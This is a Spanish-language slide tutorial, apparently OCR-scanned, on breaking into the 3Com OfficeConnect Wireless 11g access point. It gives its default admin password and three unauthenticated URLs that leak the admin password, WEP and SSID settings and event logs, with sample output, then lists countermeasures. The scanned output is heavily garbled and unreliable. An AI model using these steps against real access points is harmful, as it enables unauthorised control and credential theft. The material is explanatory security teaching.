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Informacion Basica sobre el AP

El OfficeConnect Wireless 11g es un Access Point
muy comun para uso casero Yy de oficina, si hacemos
un wardriving lo mas probable es que nos topemos
minimo una WLAN corriendo bajo este AP.

Este AP se administra por un servicio Web el cual
cuenta con una interfaz amigable que permite al
administrador configurar facilmente las opciones de
red.

Por default la administracion Web se accede por
esta direccion http://192.168.1.1

OfficeConnect’ Cable/DSL Gateway

Enter System Password
System Password | (default:admin)

Log in Cancel |

MNote: The password is case sensitive, Click here if you can't remember
the passwaord,

Status: Waiting for User Input...



Tipos de ataques

Los tipos de atagues que existen para romper la
seguridad de este AP son de tipo remotos.

Estos ataques nos permitirian ver informacion
sensible sobre la configuracion del AP, e informacion
gue compromete totalmente la seguridad como
passwords, claves WEP, y los Log files del AP.

Tipos de ataques:

1- Default Password
2- Information Disclosure attacks

[Default Password]

Este ataque es explotado por el atacante cuando el
administrador del AP, deja las configuraciones de
fabrica en este caso el Password. El atacante que
sepa este password podra tener control total con los
maximos privilegios del AP.

[Information Disclosure attacks]
Estos ataques permiten ver informacion de suma

Importancia sin necesidad de hacer el login
necesario en el AP como administrador.



Rompiendo la seguridad

[Default Password]

Apuntando nuestro Web Browser a la direccion

http://192.168.1.1

Que es la administracion Web veremos que nos pide
un password, el cual por default es “admin” la

mayoria de los administradores dejan este password
por default si nuestro acceso es correcto veremos la

siguiente pantalla:

€=V OfficeConnect’ Wireless 11b Cable/DSL Gateway

3C0M

» Welcome
LAN Settings
Wireless Settings

Welcome to the
OfficeConnect Wireless 11b Cable/DSL Gateway
Version 1.00
Internet Settings You are logged in as administrator

Firewall

System Tools

11 Wireless Encryption Switched off 111

lease select an option on the left hand side or

Fle
Status and Logs go to the "Password" and "Wizard" tabs to configure your Gateway.

Support/Feedback

LOG OUT

Status: Ready

Help



Rompiendo la seguridad
[Information Disclosure attacks]

Existen 3 variantes para este tipo de ataque:

¢ /main/config.bin
e /main/profile.wlp?PN=ggg
¢ /main/event.logs

Estos ataques se ejecutan por medio del servicio

Web del AP llaméandolos desde el browser, de la
siguiente manera:

http://192.168.1.1/main/ejemplo.bin “.wlp” “.logs”

El fallo consiste en que podremos ver el contenido
de estos archivos sin necesidad de autenticarnos en
el AP.



[/main/config.bin]

Este ataque nos permitira ver el password que el
administrador del AP ha seleccionado para
logearse en la administracion Web.

Al llamar el archivo por el browser, y ver el
contenido veremos que contiene caracteres ASCI|
sin orden y veremos palabras como:

“adm1” “3com” “admin” “admQ”

Para buscar el password tendremos que descartar
estas palabras y los caracteres ASCII que
veremos en el contenido del archivo hasta
encontrar una palabra sin relacion a estas
mencionadas ejemplo:

Bl a4 ip_cfy UooomTe ,  dnsrelay_cfy il €0 10 popoecty i oojie Ko odhe
e ol ap_cfy Wofen e 0 s filter &0 %'00d; LD usr_accessctr] To&I D 10 asscrrl_cfy

passward

Aqui vemos que el password del AP es “password”.



[/main/profile.wlp?PN=ggg]

Este ataque nos permitira ver informacion sobre la
configuracion WEP y nombre de SSID:

<WLF Version="1.5.0.0 OEM™>

<Profile Name="gogg":

<metting Name="Channel"™ BegType="4":

11</3etting»<Setting MName="Encryptionlength™ RegType="4m:
0</Setting»<Setting Name="EncryptionType" RegType="4":0

</ Bettingr<Setting Name="AuthenticationMode™ RegType="4":
24/ 8ettingx<Setting Name="NetworkType"™ RegType="4">0</3ettings
<3etting Name="SelectedEey™ RegType="d4":0</Setting>
<3etting Name="33IDType" RegType="4":2</3ettings

<detting Name="AutoConfiguration" RegType="4'":
0</Setting»<Setting Name="EncryptionEey" RegType="1t:

</ Bettingr<3etting Name="EncryptionString™ RegType="1m:

</ Bettingr<Setting Name="MCMLanConfiguration™ RegType="1":
</ Bettingr<Setting Name="VPN" RegType="1":
</Bettingr<Setting Name="33ID" RegType="1":>3Com</Setting>
<aetting Name="ReadOnly" RegType="4":
0</3ettings</Profiles</ULF>



[/main/event.logs]

Este archivo contiene los logs del AP, con esta
informacion el atacante se puede dar una idea de
como esta conformada la WLAN y de los eventos
gue suceden con la configuracion de la red:

Event log:

Z006/09/19 18:
2006/09/19 1&:
2006/09/19 18:
Z006/09/19 18:
2006/09/19 1&:
2006/09/19 18:
Z006/09/19 18:
2006/09/19 18:
2006/09/19 18:
Z006/09/19 18:
2006/09/19 18:
2006/09/19 18:
Z006/09/19 19:
2006/09/19 19:
2006/09/19 19:
Z006/09/19 19:
2006/09/19 20:
2006/09/19 20:
Z006/09/19 20:
2006/09/19 20:
2006/09/19 20:
Z006/09/19 20:

38:
38:
358:
38:
38:
358:
38:
38:
358:
38:
38:
54:
os:
0g:
358:
38:
0g:
ng:
38:
3g:
41:
41:

53
53
53

55 @
551

56

56 &
56 @
56
56 &
56 @
35

52
5z
5z
52
5z
53
52
5z

53
57

: Dhep client lease inwvalid.
: DHCP Client : 3end Discover
: DHCP Client : Receiwve Offer frowm 10.147.0.6
DHCP Client : Z2end Regquest, Request IP = 200.1:20.
DHCP Client : Receiwve Ack from 10.147.0.6,
: Dhep client renew
Get Ip = 200.120.20.221
Get MNetmask = 255.2585.240.0
Get Gateway[0] = 2Z00.120.20.221
Get Dns[0] = 200.91.110.3
Get Dns[1] = 200.91.110.3

Wireless client (00:90:96:72:25:fc) connected

: DHCP Client : 3end Bequest, Request IP = 200, 120.
: DHCP Client : Receive Ack from 10.147.0.6,

: DHCP Client : 3J3end Request, Request IP = 2Z00.120.
: DHCP Client : Receive Ack from 10.147.0.6,

: DHCP Client : Send Request, Reguest IFP = 200.120.
: DHCP Client : Receiwve Ack from 10.147.0.6,

: DHCP Client : 3end Bequest, Request IP = 200, 120.
: DHCP Client : Receive Ack from 10.147.0.6,

192.1658.1. 46 login Unsuccesstful
192.165.1.46 login Successful

Lease

Lease

Lease

Lease

Lease

20.221
time =

20.221
time =
20,221
time =
20,221
time =
20.221
time =

3598

Ja00

3600

3600

Ja00

Explotando los fallos el atacante sera capaz de
tener control total sobre el AP, tener
conocimientos sobre la estructura de la red,

redireccionar trafico, y monitorear actividades
realizadas por el administrador.



Las acciones gue se pueden tomar para prevenir
estos ataques son:

1- Cambiar inmediatamente el password de fabrica

2- Cambiar el password con regularidad.

3- Chequear actualizaciones de firmware.

4- Monitorear los clientes conectados a la WLAN
para detectar posibles intrusos.

5-Tener activado el servicio WEP y WPA.
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